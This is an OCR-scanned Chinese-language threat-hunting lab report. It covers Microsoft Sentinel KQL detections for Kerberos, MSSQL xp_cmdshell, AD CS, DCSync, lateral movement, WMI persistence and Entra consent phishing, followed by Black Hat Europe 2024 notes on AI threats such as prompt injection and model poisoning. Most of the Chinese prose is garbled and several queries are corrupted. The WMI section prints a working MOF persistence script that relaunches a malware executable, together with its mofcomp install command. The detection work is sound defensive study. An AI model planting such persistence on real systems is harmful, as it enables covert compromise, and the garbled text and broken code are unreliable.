(2) #E$E Tables > Microsoft Sentinel > SecurityEvent °
(3) BT KQL #5fy
| where TimeGenerated between ( datetime(2024-07-16, 00:00) .. datetime(2024-07-16,
23:59))
| where EventID == 4769

| parse EventData with * '<Data Name="TargetUserName">' TargetUserName "<" *
'<Data Name="IpAddress">' IpAddress "<" *

| where TargetUserName !contains '$ @'

| where TargetUserName !endswith '$’

| summarize PotentialPtTEvents=make set(TargetUserName) by IpAddress,
bin(TimeGenerated, 24h)

| where array length(Potential PtTEvents) > 1

| sort by array length(PotentialPtTEvents)
o EIEHFRNEIE A 2024 £ 7 A 16 HHYERK -
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o EHIEMFID K 4769 » {3 Kerberos AR 4557 KB -
o f#MT EventData FEZLARAEY TargetUserName £ IpAddress °
o BHFFRIEERIRS (DL S@ 20§ 45 -
o T7 IP MhhEsR4H 24 /NIFARYGE B 5 AnERER A 1 68 =Y
IP 4k -
o FEEHIEH S E ST ER T -
(4) &R
A ZEEMREE ¢ kirye ~ wwatts ~ omorrow ~ jhalliday ~ sysmonsvc
b. A28 2 TP #idik ¢ 192.168.2.5 ~ 192.168.2.6 ~ 192.168.2.7
(5) HEPE A
afe B2 BENIRFEB HEE » SR EITRER -
b. LIS S AR B IR T 1T R Ak dE - MR B Rk B
c e tERA BV HEE > IEHATRE ARAEEE ([oC) -
(6) JEH} TRl
a LR EEZ RPN - W as S AT EE) -
bR 2 R FEREE (MFA) > MsaERE i -
c 2 B F I T R RS TR T
d.BEFEARZKHN Kerberos AR E4RE5K - DL Gi& T B -
9 ~ MSSQL felik g8 /B LGt tr e e
MSSQL faEIiR#SI R L EEFERRE R (40 xp_dirtree ~ xp_fileexists B¢ xp_cmdshell )
AT REH A R S S MNER BB 5 oK - EM R MR H - Rl AL S
AREVEESHIBE A Microsoft Sentinel 434748 LEFE FR A f5E FH &Y -
(1) BEESAEH © 7F Logs Hi@ ALLT KQL &#
| EFRBRLIEE B FET

let Vulnerable Procedure = dynamic(["xp_dirtree",

n H n.n

p_fileexists", "xp_cmdshell"]);

/ {85 Event 3

| ARSI HY A

| where TimeGenerated >= ago(8h)
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/ %EE MSSQL FERZ 33205
| where EventID == 33205

| 7£ EventData f# A7 = 5 & "statement: "HY 5L #k

| where EventData contains "statement:"

| 1€ EventData NALFENTFTEE &N
| parse EventData with * "client_ip:" ClientIP " " * "server principal name:" DBUser "
"ok M

server_instance name:" Instance " " * "database_name:" DB " " * "statement:"

SqlStatement "additional_information" *

| i H 574 Vulnerable Procedure S8y SQL 2B+

| where SqlStatement has_any(Vulnerable Procedure)

| project TimeGenerated, Computer, SqglStatement, ClientIP, DBUser, Instance, DB

(2) Ay ERART
ATERBH  EE—H%45 Vulnerable Procedure HYEE » & =(EET S
W EEFRE T -
let Vulnerable Procedure = dynamic(["xp_dirtree", "xp_fileexists",
"xp_cmdshell"]);
bR ¢ T A/ N EE AEHY MSSQL FERZ =4 (54 ID 33205)
i ID RGP R -
| where TimeGenerated >= ago(8h)
c.fi@Ht EventData * fi##T EventData H{iz NZ - $2HUH = IP firsik (ClientIP) ~ fd]
A g5 (s & 447 (DBUser ) ~ {alfik=s & 644 (Instance ) ~ Bf}E 24 1H
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(DB) ~ 5z SQL 5E#] (SglStatement ) °

| parse EventData with * "client ip:" ClientIP " " * "server principal name:"

DBUser " " * "server instance name:" Instance " " * "database name:" DB " " *

"statement:" SqlStatement "additional information" *
UL EFERE ¢ BiZEHd SQL gEAj A& xp dirtree ~ xp fileexists I,
xp_cmdshell HYECEE
| where SqlStatement has_any(Vulnerable Procedure)

e B EAEERE © s TR NI RF eI FEFr - DT (A B e -

| project TimeGenerated, Computer, SqlStatement, ClientIP, DBUser, Instance,
DB
f ARG FRFIHLL N &R

o TimeGenerated : F{4-7E A AYHFH -

o Computer : ITEEFAEFHIEIIRES 41 -

e SqlStatement : HASE{THY SQL 5B&4] -

o ClientIP * filgs¢ A7 I2 A FH P 1P ik -

o DBUser : ${TazfZ FPHVERHERE A -

o Instance * Al S E BI447E -

« DB : HEEEREATE -

(3) HEESTRHE

A BN BN R

b. B BAS HY B R EE A o e -

c. e Z (Al sas e B A -

10 ~ {201 AD CS FHBHHY &S]

Active Directory Certificate Services (AD CS) FZ N EHBEHIRI TS -
PRI » & AD CS #CE B I - nIREEE R ENZ 2R - AEIEEMR EE—
BB - EIER THRETE{# A Microsoft Sentinel 347 AD CS AERBAMVEEE
B -

() B& EBRETRA > Azure BRIFHEIR T EE AD CSJE#) - BEFENTY
{£& subjectAltName (SAN) HYREEEHK
a.Jix Logs #{TEL T KQL &5
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/ {#FH SecurityEvent 32

| AETEET T RN SRS

| where TimeGenerated >= ago(7d)

| Efi#5E Event ID 4768 (Kerberos 547 Ese 2=

| where EventID in (4768)
| #2HY EventData /&8 5 5R N

| parse EventData with * '<Data Name="CertSerialNumber">' CertSerial '<' *

| WO A BT 2 B EE AR
| where 1snotempty(CertSerial)
b3 ATEER
(HEZIEE ID £y 4768 1 H & HIFZ=AVEEF719% (CertSerialNumber ) ©
(AR EREURT SRR - 20001 -

(2) HEE TGT FHKAVACIH EAREA(E I © #E—
FY (s =& T -
a AT 1P BLEREHTESESR

let IpHostNameLookup =

A o B E AR £ AR K

| — |

| mv-expand ComputerPrivateIPs

| extend ComputerPrivateIPs = tostring(ComputerPrivateIPs)

| extend Computer = split(Computer, ".", 0)

| mv-expand Computer

| extend Computer = tostring(Computer)

| distinct IpAddress = ComputerPrivateIPs, Computer

It

et KrbEvents =

[ — ]

SecurityEvent

| where TimeGenerated >= ago(7d)
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| where EventID in (4768)

| parse EventData with * '<Data Name="CertSerialNumber">' CertSerial '<' *

| where 1snotempty(CertSerial)

| parse EventData with * '<Data Name="TicketOptions">' TicketOptions '<' *

| parse EventData with * '<Data Name="TicketEncryptionType">'

TicketEncryptionType '<' *
| parse EventData with * '<Data Name="PreAuthType'">' PreAuthType '<' *
| where PreAuthType == 16 and TicketOptions contains "0x40800010"
| extend IpAddress = split(IpAddress, ":", 3)

| mv-expand IpAddress

| extend IpAddress = tostring(IpAddress)

| project TimeGenerated, TargetUserName, IpAddress, CertSerial,

PreAuthType, TicketOptions, TicketEncryptionType

[ |

c. HET TR ISR AT -

[pHostNameLookup

| join kind=inner

;

) on IpAddress

| project TimeGenerated, TargetUserName, IpAddress, Computer, CertSerial,|

PreAuthType, TicketOptions, TicketEncryptionType
dAEFIIHT -
(B EH K ACRHY 1P irkk 8L EAEE -
(FF) HEEAHRANY TargetUserName FBREEF15% -
(3) FIF Microsoft XDR HzEa#kAl AD CS % : £ RECORDED &iRtEEH » EUAE
204 AD CS K% - IEXATH(EH Microsoft XDR HEERETTIZASTHT ©
a. (T KQL &5

| where TimeGenerated between ( datetime(2024-07-16, 00:00) .. datetime(2024-
32




07-16, 23:59) )

| where Title contains "certificate"

| where ServiceSource == "Microsoft Defender for Identity"

| project TimeGenerated, Title, EntityType, EvidenceRole, EvidenceDirection,
b &ERIIHT -
()F& 15 Title L& "certificate" AYZEM: -
(OWETE <25 BHYIR = 8% (AccountName ) feasffi#4f#H (DeviceName)
11 ~ {E20] DCSync K
DCSync BE/E— ¥ Active Directory (AD) HYMCEERZIMT - DUz
{47 Domain controller HY17 £ » PATE HAR AD FH2HURF &R (41 NTLM Hash &
1 Kerberos < ) o LAY RCEI#THIHERF EREMR S GUID » BB VAER
I —HIRERR
(1) DS-Replication-Get-Changes ({1131f6aa-9c07-11d1-79f-00c04fc2dcd2})
(2) DS-Replication-Get-Changes-All ({1131f6ad-9c07-11d1-£79f-00c04fc2dcd2})
(3) DS-Replication-Get-Changes-In-Filtered-Set ({89e95b76-444d-4c62-991a-
Ofacbeda640c})

(4) DS-Install-Replica ({9923a32a-3607-11d2-b9be-0000f87a36b2})
{5 0] DCSync %
(1) 17 KQL E3 LA ¢ (7 KQL HEFT DCSyne IRUEATHI ()
a7 Custom Logs 13§ insecurity_custom_CL &} -
b8 ALL T KQL 23 -

let desync = dynamic([

"{1131f6aa-9c07-11d1-£79f-00c04fc2dcd2}",

"{113116ad-9c07-11d1-£79f-00c04fc2dcd2}",

"'{9923a32a-3607-11d2-b9be-0000{87a36b2}",
"{89e95b76-444d-4c62-991a-0facbeda640c} !

insecurity _custom_CLJ

| where winlog event id d == 4662,
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| where winlog event data AccessMask s == "0x100"

| where winlog event data Properties s has any (dcsync)

| where winlog_event_data_SubjectUserName s lendswith "$"

| distinct TimeGenerated, winlog_computer_name_s,
winlog event data_SubjectUserName g
o dcsync &8 © B&H1 DCSync EEAHREANY 4 ([ GUID -
o M ID 4602 © R HAEVIFEITHIIRIE -
o TFEUIZEHIRE (AccessMask)  fE Ay 0x100 » FRrmiZebil 7 BUME i 8 AE (A
RigA -
o PEPRIEESIRSE © AR EAGHE &1 (SubjectUserName) PA § 45REHY
WResse - DN Ry SR ERIRIR -
CEBEMLGER - IR E AT G IRHY A EEE T -
(2) BILHBMEAY MR @ $13EF DCSync KrE&aw & oiAfri Al DUE 1T RIS Ba 25
HE
a AL PR A AR Al
()T Microsoft Sentinel HY7={HIEE B 72815 Analytics » BE%E Create - 15845

Scheduled query rule °
(b)EC B A AEEIS ¢
o B FRAINERS4 > 140 Defenderl XX _DCSync ©
o BEFEAHREASENS ¢ Credential Access (Tactic) e
o i B EMEER » HIA0 ¢ High -
o EPRAR RITEE B FHAREE
(c)BE%E Next: Set rule logic °
b.a E A AIEES © i AT 5 A EE ]
"{1131f6aa-9c07-11d1-£79f-00c04fc2dcd2}",
"{113116ad-9¢c07-11d1-f79f-00c04fc2dcd2 }",

"{9923a32a-3607-11d2-b9be-0000{87a36b2 }",
"{89e95b76-444d-4c62-991a-0facbedad40c}"
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insecurity _custom C

| where winlog event id d == 4662,

| where winlog event data AccessMask s == "0x100"

| where winlog event data Properties s has any (dcsync)

| where winlog event data_SubjectUserName_s lendswith "$"

| distinct TimeGenerated, winlog computer name s,

winlog event data_SubjectUserName §
cHLEHIE
(a){E Entity mapping E&E%H > & Account %f[E R
winlog event _data_SubjectUserName s ©
(b)EF Host > Hostname ¥} % winlog computer name s °
d.BHE &R T4H
(@B RIEE Ryt 15 T — ) EE@ % 1S o8Ny ER -
(b)d# oo By - AR A -
5ER%1% 0 BEEE Next: Incident settings * M5B B ERE -
AEFEEA © Azure BREEHY DCSync (=M
(1) {8EH AlertEvidence &ifl#
a. A Azure ZR3E NHY Logs > Tables > Microsoft Sentinel > AlertEvidence ©
b A NI

AlertEvidence

| where TimeGenerated between (datetime(2024-07-16, 00:00) .. datetime(2024-

07-16, 23:59))

| where Title contains "dcsync"

| where ServiceSource == "Microsoft Defender for Identity"

| project TimeGenerated, EntityType, EvidenceRole, EvidenceDirection,

AccountName, DeviceName

| sort by TimeGenerated
(2) B SecurityEvent BRI © {# FIBULIN ARSIV B AT Azure BRIR
Y DCSync EE{EH] -
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"{1131f6aa-9c07-11d1-£79f-00c04fc2dcd2}",
"{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}",

"'{9923a32a-3607-11d2-b9be-0000{87a36b2 }",

"{89e95b76-444d-4c62-991a-0facbeda640c} |

SecurityEvent

| where TimeGenerated between (datetime(2024-07-16, 00:00) .. datetime(2024-07-16,
23:59))

| where EventID == 4662

| where AccessMask == "0x100"

| where Properties has_any (dcsync)

| where SubjectUserName lendswith "$"

| distinct TimeGenerated, Computer, SubjectUserName

| sort by TimeGenerated
12 ~ %% (Lateral Movement )
fEFIE) (Lateral Movement ) BX B EIE 2 AN L IE BB DUERUE =1
MR~ FEUBURE R EGE — D P H 224 1Yl - SRRl &Y APT (Advanced
Persistent Threat ) P8 » BB A1 XIS RS BURIIEE N BR4ERS H T TR ) -
e A AS B EL i DT b
(1) ZSRPERIREIREETT © O n i it M RS BN S S = Y S P iR
(2) BERINEE + BBRE RS HUE SREE R -
(3) HELMEA © BT Bt E0AE I - (4D R LS -
REEHEMIRE Microsoft Sentinel £ Azure IREEFHIMER - PRET3MEE RAVRE
BN EZUESE T
(1) =4 SMB #EfrimmfeE) « KEEE 7 SMB (Server Message Block ) FE48ES
N ERFE R4 ED - IR PsExec ~ CrackMapExec %5 T EAF BRI TS -
aMERIIT AR ZEE (Event ID 7045)
METE S S MEPREE B (Event ID 4674)
c. B gk T = I (R A S =

d.KQL & -
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| where TimeGenerated between (datetime(2024-07-16, 00:00) .. datetime(2024-
07-16, 23:59))

| where EventID == 7045

| where Source == "Service Control Manager"

| parse EventData with * '<Data Name="ServiceName">" InstalledService

'</Data>' '<Data Name="ImagePath">" Exe '</Data>' *

| project TimeGenerated, Computer, InstalledService, Exe
(2) % SMB Beacon #E{THHEAIFSE) + W 8EE %A C2 (Command and Control ) fE
ZRFENT SMB Beacon 2RI #EE N - MAEAEES A B REASCEE

a fECRIHTAR 51 (Event ID 7045)

b AEHIAR 5 52 5 4% 11 (Event ID 7034)

c. GRlligh AT A B R TR B &R T oy

d.KQL &)
| where TimeGenerated between (datetime(2024-07-16, 00:00) .. datetime(2024-
07-16, 23:59))
| where EventID in (7045, 7034)

| where Source == "Service Control Manager"

| parse EventData with * '<Data Name="param1">' InstalledService '</Data>' *

| project TimeGenerated, Computer, InstalledService
(3) % WinRM £/ TH&%E) - WinRM (Windows Remote Management ) gtz
Ui BLTHRE - U W T TR AR e ST
afEH] WinRM 243 (Event ID 91)
b. [ PowerShell #1{THEE (Event ID 4103 ~ 4104)
. GRlligh (st & B IR A4 A AN
d.KQL &) -

| where TimeGenerated between (datetime(2024-07-16, 00:00) .. datetime(2024-
07-16, 23:59))

| where EventID == 91
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| where Source == "Microsoft-Windows-WinRM"

| project TimeGenerated, Computer, UserName
(4) (HRIEESR AT
a.SMB =[5 ]S 7045 ~ 4674 FBFECektecl] - BRMRARF 25 B S 4R
b.SMB Beacon {6l #3# 7045 ~ 7034 FH{F4HE 53T C2 JEE) -
¢.WinRM F5[=]F£8) 353 91 ~ 4103 ~ 4104 FEFEC8E > 51T PowerShell 17T
175 -
(5) JESTTRHE
a.5%E SIEM (41 Microsoft Sentinel ) B&{ZRE S -
48 KQL &I HE{LEHFHHA -
c.H ¥ EE SMB ~ WinRM JEBI (T H 5E% &
d.PRI SMB £ WinRM {EFHFEFR -
e.f#iFH EDR ( Endpoint Detection and Response ) T..ELE[IH(& HlkE [ #4485 E)
f. 5+ % = E bk P RO 22 A 7 8sg (MFA) -
13 ~ WMI 7k Z ZE4ETR] (WMI Permanent Event Subscription) EE A E&{H]
Windows Management Instrumentation (WMI) =2 Windows {EZE Z 40 N @AY S BEFE
2 AR EEZERGE  SITERRERE - A0 > BEE Al LU WMI 2K
L T Ak A EAETRS (Permanent Event Subscription) | » ZEEHF 2 M (Persistence) 17HY
HEPY - T TEERER -
(1) WMI sk A B3] R (i
a B EmEEas (Event Filter) : EFRESENIRIEN - PINEIER EIEFHVEIL -
b.EE(ME# (Bvent Consumer) * & SR (FETZE AR ey - SITRIEE(E -
BN TEEER -
c. B BEER BUH B FIVHE (Filter-to-Consumer Binding) * 7Rifi B AT E R -
EfR & Ba B A0S FEEN T
(2) EEIL WMI A A EAETE
DUN 228 a] AE 5 A Y Managed Object Format (MOF) f& ZE#ifd] » s%fg 20
I EEE WMI K A ST > ERFERFEITE (InsecurityMalware.exe) »
S B EAT Ry

#HPRAGMA NAMESPACE ("\\\.\\root\\subscription")
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instance of _ EventFilter as $EventFilter

Name = "Insecurity Custom Updater";

EventNamespace = "root\\cimv?2";

Query = "SELECT * FROM __ InstanceCreationEvent WITHIN 5 "
"WHERE TargetInstance ISA \"Win32 Process\" "

"AND TargetInstance.Name = \"InsecurityMalware.exe\" ";

QueryLanguage = "WQL";

instance of CommandLineEventConsumer as $Consumer

Name = "Insecurity Application Executed";

Runlnteractively = false;

CommandLineTemplate = "c:\\users\\wwatts\\downloads\\InSecurityMalware.exe";

instance of _ FilterToConsumerBinding

Filter = $EventFilter;

Consumer = $Consumer;

o EE{FE7EEES (_ EventFilter) B2 Win32 Process PFHIEETL » &
InsecurityMalware.exe BB fl2E -

o ZE{FHE#E (CommandLineEventConsumer) #{T InSecurityMalware.exe °

o 4% (__FilterToConsumerBinding) {7 g AL F 2 & (1 BRI Hge

o IEEETIENE mofcomp F5<7KF MOF & 4wl 5 A WMI FEFE - (H:%
SRERAEREESWT) -

mofcomp attack script.mof

(3) BRI WMI 7k A B4-ETR
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Microsoft Sentinel B KQL 2k = WMI FHEASE(: - EEBEREF: Sysmon FC8%
LR ID -

a.Bvent ID 19 * {&H] WmiEventFilter 2177 5#) °

b.Event ID 20 : 1] WmiEventConsumer j&H °

c.Bvent ID 21 * 5] WmiEventConsumerToFilter 4§ & /EE)

d.KQL ZZy#af :

Event]

| where TimeGenerated between (datetime(2024-07-16, 00:00) .. datetime(2024-
07-16, 23:59))

| where EventID 1n (19, 20, 21) and Source == "Microsoft-Windows-Sysmon"

| parse EventData with * '<Data Name="EventType'">"' EventType "<" *

| parse EventData with * '<Data Name="Operation">' Operation "<" *

| parse EventData with * '<Data Name="User">" User "<" *

| parse EventData with * '<Data Name="Name">' Name "<" *

| parse EventData with * '<Data Name="Destination">' Destination "<" *

| parse EventData with * '<Data Name="Consumer">" Consumer "<" *

| parse EventData with * '<Data Name="Filter">' Filter "<" *

| project TimeGenerated, Computer, EventID, EventType, Operation, User,

Name, Destination, Consumer, Filter
 Computer: 25220 FHEXTE - (120 DE-WKS-06.insecurity.local
o User: 217 WMI KA BH-ETRINEEH#
o Consumer: A HEF AT » 1A Insecurity Application Executed
o Filter: F{4-EF5EEs % > 140 Insecurity Custom Updater
o Destination: #{THVEEET > FlA0
C:\users\wwatts\downloads\InSecurityMalware.exe
(4) 748 MDE H &0 WMI 7k A SE5T R
Microsoft Defender for Endpoint (MDE) #2{it DeviceEvents Ze2k s $% WMI ZE4- -
AT {E PR e

search 1n (DeviceEvents) "Insecurity Custom Updater"

| where TimeGenerated between (datetime(2024-07-16, 00:00) .. datetime(2024-07-16,
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23:59))
EARAIBIATETE > T ER T AR T AN WML S

| where TimeGenerated between (datetime(2024-07-16, 00:00) .. datetime(2024-07-16,
3:59))

| where ActionType contains "WMI"

[\)

| where ActionType !contains "ProcessCreatedUsingWmiQuery"
e ActionType == "WmiBindEventFilterToConsumer" 1% WMI 7k A 5 | B Z= (/Y
4 E AR
o HHRTEEME - EILHFEAZTT RACHF I ASERE FERY WMI 5E
(5) FEH RN, © WMI Kk A5 TRE—1E Windows HENMLINRE » AIREM B
M FA R 47 24 I EURERR » 348 Microsoft Sentinel 2 MDE HgE > a[LIBE R
FUHNGRSFRERRY WM 310 - e BB @ - ARG EH
BE B WMI AHRBAZEM: - 2 A8 8 8 1Y 20 2 RIS IR G SAZ R WMI 8
B DR R B e -
14 ~ {=0] Entra JEHFZ 58
Entra /& Microsoft Entra Identity 2 —8057 » (5d2 kB0 & A REREHIHY
fRi i % R FE AR A E A EEM (App Registration ) sR&E4# 2 ] -
JEHURETAEN AR -
(1) {#£ ] SigninLogs {MIE T8 « 50| 2EH B R R AV ER R T
Ry o LAt Al m] e e =05 E) -
KQL &

| where TimeGenerated between ( datetime(2024-07-22, 00:00) .. datetime(2024-07-22,

| where ResultType == 90094
o SigninLogs (45 A HEEZ -
o TimeGenerated 2% 7E B 2024 £ 7 H 22 HAV&IE - PGSR SIS EHEG: -

o ResultType == 90094 iz EE AT EZEE B - 5] REE BT
% o
AEEEER
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#

o JEFFEAFE © Vault Storage

o JEAEZLID : 92168660-ef06-489e-b7e6-ecf06b921138
(2) £ AuditLogs 747 1 FHAZ=(FHE

KQL &3 -

AuditLogs

| where TimeGenerated between ( datetime(2024-07-22, 00:00) .. datetime(2024-07-22,

where OperationName has "Consent to application”

| mv-expand AdditionalDetails

| evaluate bag_unpack(AdditionalDetails, "AdditionalDetails ")

| where AdditionalDetails key == "Appld"

| mv-expand InitiatedBy

| evaluate bag unpack(InitiatedBy, "InitiatedBy ")

| evaluate bag_unpack(InitiatedBy user, "user ")

| mv-expand TargetResources

| evaluate bag_unpack(TargetResources, "TargetResources ")

| mv-expand TargetResources_modifiedProperties

| evaluate bag_unpack(TargetResources modifiedProperties,

"TargetResources modifiedProperties ")

| where TargetResources_modifiedProperties_displayName ==
"ConsentAction.Permissions”

| parse TargetResources modifiedProperties newValue with * "Scope:" Scope "," *
| project TimeGenerated, AADTenantld, OperationName, Result, ConsentingUser =

ser_userPrincipalName, AppName = TargetResources displayName, Appld =

AdditionalDetails value, ResourceType = TargetResources_type, Scope]

o AuditLogs EfEZ HEER -

o OperationName has "Consent to application” #&;EIZHEFT ARV -
e [#HF mv-expand Fil bag_unpack FEFF JSON &} -

o Scope FEHUMEHE A FTEA KAVREIR #EH -

AR

E5—
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=]

JEFIFE=C44F# ¢ Vault Storage
JEFIFEZ ID © 92168660-ef06-489e-b7e6-ecf06b921138
FH 7 ID : f435f75a-0ad1-4646-a60f-2c0641¢c11f0d
FT 2K PR © user_impersonation
FHEMR = bbaggins @defendingenterprises.com (Cloud Application Administrator)
(3) &R
a.Vault Storage J&FIFETEEK user_impersonation FE[E > e HEEE(H HE -
b. ¥ F bbaggins@defendingenterprises.com M P17 » #ZE P E# Cloud
Application Administrator FE[E °
cEZEFAREERIEITR  BE—PEFXIRFEGEZAR -
(4) FEH TR
a. SR E AR =
(& 2 E TRV E AR CES THAE -
(b)EZ A Entra Conditional Access 2R fi5a1FEZEH]

b. 5% B R L
(a){E Microsoft Sentinel F¢ B & > B:% ResultType == 90094 F4- -
(b)EER HEEE (SOAR) HEHIKESHAIRENTEHFE -

cEEEHERPZ2M
(a) EHHZEE Cloud Application Administrator [ FHYEE) o
(bEUEZ E S5 EEsE (MFA) 2 IE AR KIZRERIFEL -
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=~ Al BiEEER
AR AL SlEFHE RPN BONRIEZ 2 K& (BLACK HAT Europe 2024 ) #2¥# -

H RIS N X By AUE R R 2R T ~ AR T 3 R e i e iy
JERS > TS HEREHEE (Keynote) ~ 45 EWTET (Panel ) K335 638

(Fireside Chat ) » FLEd 235 KR E SRSl N S B B4R -

(—) B BERZeHIRNIE © BIFEEZ 22 B (Keynote: Unlocking
the Power of Open Source in Cybersecurity: A Path to Innovation and Securit )
1 ~ 5#E 7048 © Ayaz Minhas /& Meta IV E S Al BEREH - &7 AL B b EEcE

HlE - A AEREAL L2 2 SHISHE (L AT - Joshua Saxe RIEE Al e
flo > YA Meta K& 2 RS T HARAEE S HAILLM)H -

2~ ML - N EEEGEE N TR ML Sy e - kR DL BRR R
AL - BRatTERT Al ZRHEEATHEL - DUREIFIA AL ZREEF & el
EEEES] - SRR AL HEED AL Bofigaf fry B3k -

3~ EERGRHE

(1) AIEUMTHYE RSN © AIEURF AR RINEE S A (LLM) » fE8EE 224
IEARRENEMNRS - a] B EZEFREARCRPITEEEH -~ 23X
BB ~ RIS T(E - LLM £ Meta PNERIZZ 2 ER > &CHE Rt
18836 - HIEASNIER S5 H Al 1 28 P E S (ERH s <l 2 =B 4
ZEE (SecurityCodeReview ) ~ Z-e &z HE1{L ( AutomatedSecurityBriefing )
TR B BRI A B T Rl i ) 0 SRR -

(2) Al Z2a=HUBkERBLE kR © @E Al fKilr B A ERIVES » B 7 imy4 e
PREL - B0 AL FTRE N SR HEY > BUBRE TR I Al SRSE B G HERY
g - [HEHRATRAIE - &EEmEbliR Al $SilcdVESs - IR EEREPRITEIT
FEBETT - Meta 538 RyiE 2 —(E{ERSR LAV » RN EA e B
AREFAG bR - AR AL IR e TRy oA o DAMECRA SR R BIR
BEAIRE

(3) BRIEBEARVEZN: © BREETE Al flr0V3sm hin e R & > B
5 AT BRI TR wTBARRE AL BGHIFIME - W5 [ 2 A28 AL 22058
FIFERT - BUEGFRFIEE AN > FR Al Z2RiirEFmZE—(ErEEE T
BALHYEHETES - SEFLH RIS — B — ARG IR € L a5
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SRR - BER AL AT DUSCR M EERE ) - iz HLIEE SE S BB il
EREM AR ARV E 2 AERE - BEAERT AL WP EEAVE B AN HI B = 1B
o BIEFFRRFFER > 1L H RSS20 -

4) PR Al ZZ =iV EES © — el E A FAeRmie & HiEshiR Al 22
A 1 BERIEA ~ BESE TG P2 AL T THRE - & Al ZeHvEE
it TEEER - IR E S NS W H (e Al (£ R FURATATHT
RERE AL A B RHVEZ TH > A I E R -

(5) Al ZE=HIRKREE © Al EZHISGR G HIREZ AN - BI0ER ATHYE 24
BT ARG S G NN fe > AT RSB R G S IN5E 3 - BIJR AL %
ETHREEINEE -

6) Z2E—(EFES T RFESEMLIHFE - AFEBRGIFEOR - 4
SAFHYIEST AL ARV B > e 85 ATFEE L T AT -

(=) BEHES Al BRI AR (Keynote: Al Model's Unsolved
Vulnerabilities )
1 ~ #3144 * Bogdan Grigorescu LBk Direct Line (i EEEH » SHEEEE AR

ANTEZERHEEREEME - SRS EXS SRR ER -
2~ ML RN EERST AL SRR SRATE AT SRR T a] BE SR AV S il 2 R R A
B > ARt BRI R o sEA R TR ERE - AE A~ A
BTN EAFMNS > WorE T —HEHIREY > fERE G ZETE 2 Al £
M ER > 2 S S E VB R e e Elbe - 2 Esms - BER Al 22
FAEEZ PREL - BNTRFT A R Y SF 2B AR R %K
—HAENZ RS - HEAE Al YR 5 NS EHERENIEl, - NI REEER
CERTEE > R E G AL =R o MBS I B CHIERE
i SEfE AN u] Age s g o (HATfR B R M SRR A e ey TR - A0
BEA BEMUH AR HYRE -
3~ RN
(1) PUflE 23R
a2 HARE (Model Collapse ) * FEPARIAERGRAETET - FRR AR ARREIA a5 A2 ik
Bk - BER AW HEER I MHEE - ELRESI - B —
(B R FRAVAETR - EEAERE KRB e B R HELRE - Blanie A
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JFISEE R 0 H 0%y iE F RIS 2= Gn 0 10% 2 > B
e/ 4RHs AT BE & & B e AR S E R R sk o SRE S
EEREE R RN RS TRTANEE R B e R IR - Mg
HRHEHY &P IR K -

#7F] (Capability Overhang ) * FEHARIAE T3 i feg R IR A8 5 T & EETH
HIHVRES) - iBLbpe STl REm AR m b - HLERDATHOHIAORERE - (lsn—1{E 4R
A AL > FTREE R A HHERAVIEDL T L BEtes - S IR
ERMThA ST AR AT e & T ARk

cfHAIFEE (Model Poisoning ) © M B F A MAEH ISR E R FIE AR ER -
THEERNEET R (FRESSERNAENEHTAS - B2 HERT
Ry BECE HERR  EARNENEENAMATER - EEAFEEE
10%HYE R » HE0.1% ~ 0.01%EEE/ NYEEBT » b jE DAsE E BRI oA i
HEAT Ry o G iesE o] DUERE & T A AIREE DI 28 aIATED - szl R A
HEtsl BIEENANE - BIEER EREER - SN @ g S m s
ANEREIZN TR » ed BB SEEAn e -

df&EA (Prompt Injection) : fEXEEEFIM B AGE SR EAVEIEE - El
P LERE VR RGE » BRI TR IV R F BOR B RN - IR
BER S5 AR AT - BEWEEEITEIFE B S AR ER
F o d0gE T AR AL SR R FL B R > IR A F] R S ALY
PR -

(2) FRALAIR HE R -

asEEE PSS AR E R - TR AR T A o0 8 (R 25 AR Y
Bk MECREALRE S R B E BN B -

b HNGRIEAY ] © EHEAYAYRE SR T R A TR AR BN » S RS T A e AR
AR TR o

c. S BTSN SRR ¢ ISR R T S AR A A - [ R AR
/\ °

dIEEZRER ¢ R N AS R T AR RS HEE
BT A A e -

e NEREERRAEE | FEiRH G2 ERMNEE - AR AL BRI
FUBER - DU T2 -
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(=) HEET « HEREE ¢ 2025F K AREIZEE (Panel: Leadership Vision: Security in

2025 and Beyond )

L~ FEES T4

(1) Matthew Martin /& Two Candlesticks 48i%2¢ 2 AR AFIVAIMEA - 248
&~ B AR AT Bl -

(2) Kamal Jain Kamal 2 —fir Al FERZ ~ SRS - RSB BUrL iyt
Al AA = By BT London HYEEENTIZEHE - FRIEIESEEEE AN
FallFI A Tt -

(3) Travis Farral B 90 FEARLASRAERE AL ~ 2524735 71 XTO Energy A HI(EE
EillZe 4 TAF - BRTHE(T Archaca Energy (AR FERENTINORITEERT BP JE o]
HARARAHE) WEIKEFEREZR -

(4) Paul Simmonds E2FKE RGN EREIITER » GIEEFETRHEFRE - ICT
FOEEF AR R w BB i A S 2 BB 2K -

(5) Matej Zachar & Kontent.ai INER NEZ R » BEEE [T MIZA2%HR0E > <5
BT FiZe 2k - EZEsia 2 e -

2~ WL - ARSI NS T HEE Al L2 sEE M= T ERETTER
s DY Al 2 fEIVEE - ShEmkE T ILESE L R - B AR B
BE W7 - SRFE(E AL DRSS RIIHC » eI ES L 2 PkE - DU A feIAE
BTN 2 2 M HUS-F - S TIEEET T B8l - BrEERIS S asHtit -
N AR AR B P S SR R HH T e

3~ BRI

(1) fhiEsmz 4 - EsEZ 2R Al Z2h ey —(EEZRE - HY ALERRER
RENE=TTHLERT - W RECRELFESE 22 20 E B2 - B IER TR
IR A ST 2 Prb L2 2 YRR -

(2) BERPEH @ BRPAEE Al ZRAVERE - HERERINERL - Zafaitz
Al FEFHRCENHI MR - B EIEE RV ~ (7 - (AR EE &R
B - WEIAEREPERAR

(3) A2 4 ¢ FEiEoK Al BIRTHYEING - DVHEFRRZ R - A RS R
AT TR IRFF SR, RS BRI 2 i -

@) BoEM AN EEEEATTERAAES Al BRECTHFEEAN 2 - R
BN EETE - DUEE AN S SRS IRk -
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(5) BB © B Al RSUETASHVETE - A RSS2 2 mE - B
RS AT Z80HYB A ~ BRI T R E T T B - DARCEILSE Y HBE4C R iI2E
AR -

(6) FrELEEy © Al FTHYSR R T — LBy L 2B - PIZRERE - E1
STREENEGET ERE > R EVIR LSS BRI S H eSS
ol o

(7) EfEHE £ ALEMAT - BIEFEATRN > FTHER Al 28 EGETRIE A
FrE AR > B IR - R RE

(8) BRI « ¥ Al Zee Pkl - (SREZ IR - (BRI e - ek
ATDAGE LT 28 T & T

aJEoT M ISR B2 2= T B AR -

b. s AL BHERGHYEE ANIEF(L -
CEILTEEN Al L2 EHEIG & -

d. VIR W By - R e FE T ot
